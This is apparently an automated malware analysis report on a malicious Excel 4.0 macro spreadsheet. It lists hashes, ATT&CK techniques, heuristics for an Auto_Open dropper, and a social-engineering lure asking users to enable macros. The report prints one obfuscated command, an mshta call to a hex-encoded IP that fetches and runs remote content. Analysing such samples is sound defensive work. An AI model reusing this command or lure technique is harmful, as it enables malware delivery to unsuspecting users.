Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 9a31d958d564ce17…

MALICIOUS

Office (OLE) / .XLS

64.1 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: debed997090f75ca2f8f6e15f8e29c85 SHA-1: eefa74762bf8a2caa1cef347742e7ea82ca1742c SHA-256: 9a31d958d564ce17dc5316142bd8bbd50dded588d29f09b5402c8596bbfb3512
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution T1059.005 Command and Scripting Interpreter: Visual Basic

The sample is an Excel 4.0 macro-enabled spreadsheet. It contains an Auto_Open macro that executes a command to download a payload from a hardcoded URL. The document body explicitly instructs the user to enable macros, indicating a social engineering lure. The reconstructed command is 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/c.html', which is designed to download content from the specified URL.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes

Open this report in the interactive analyzer, or submit your own file for analysis.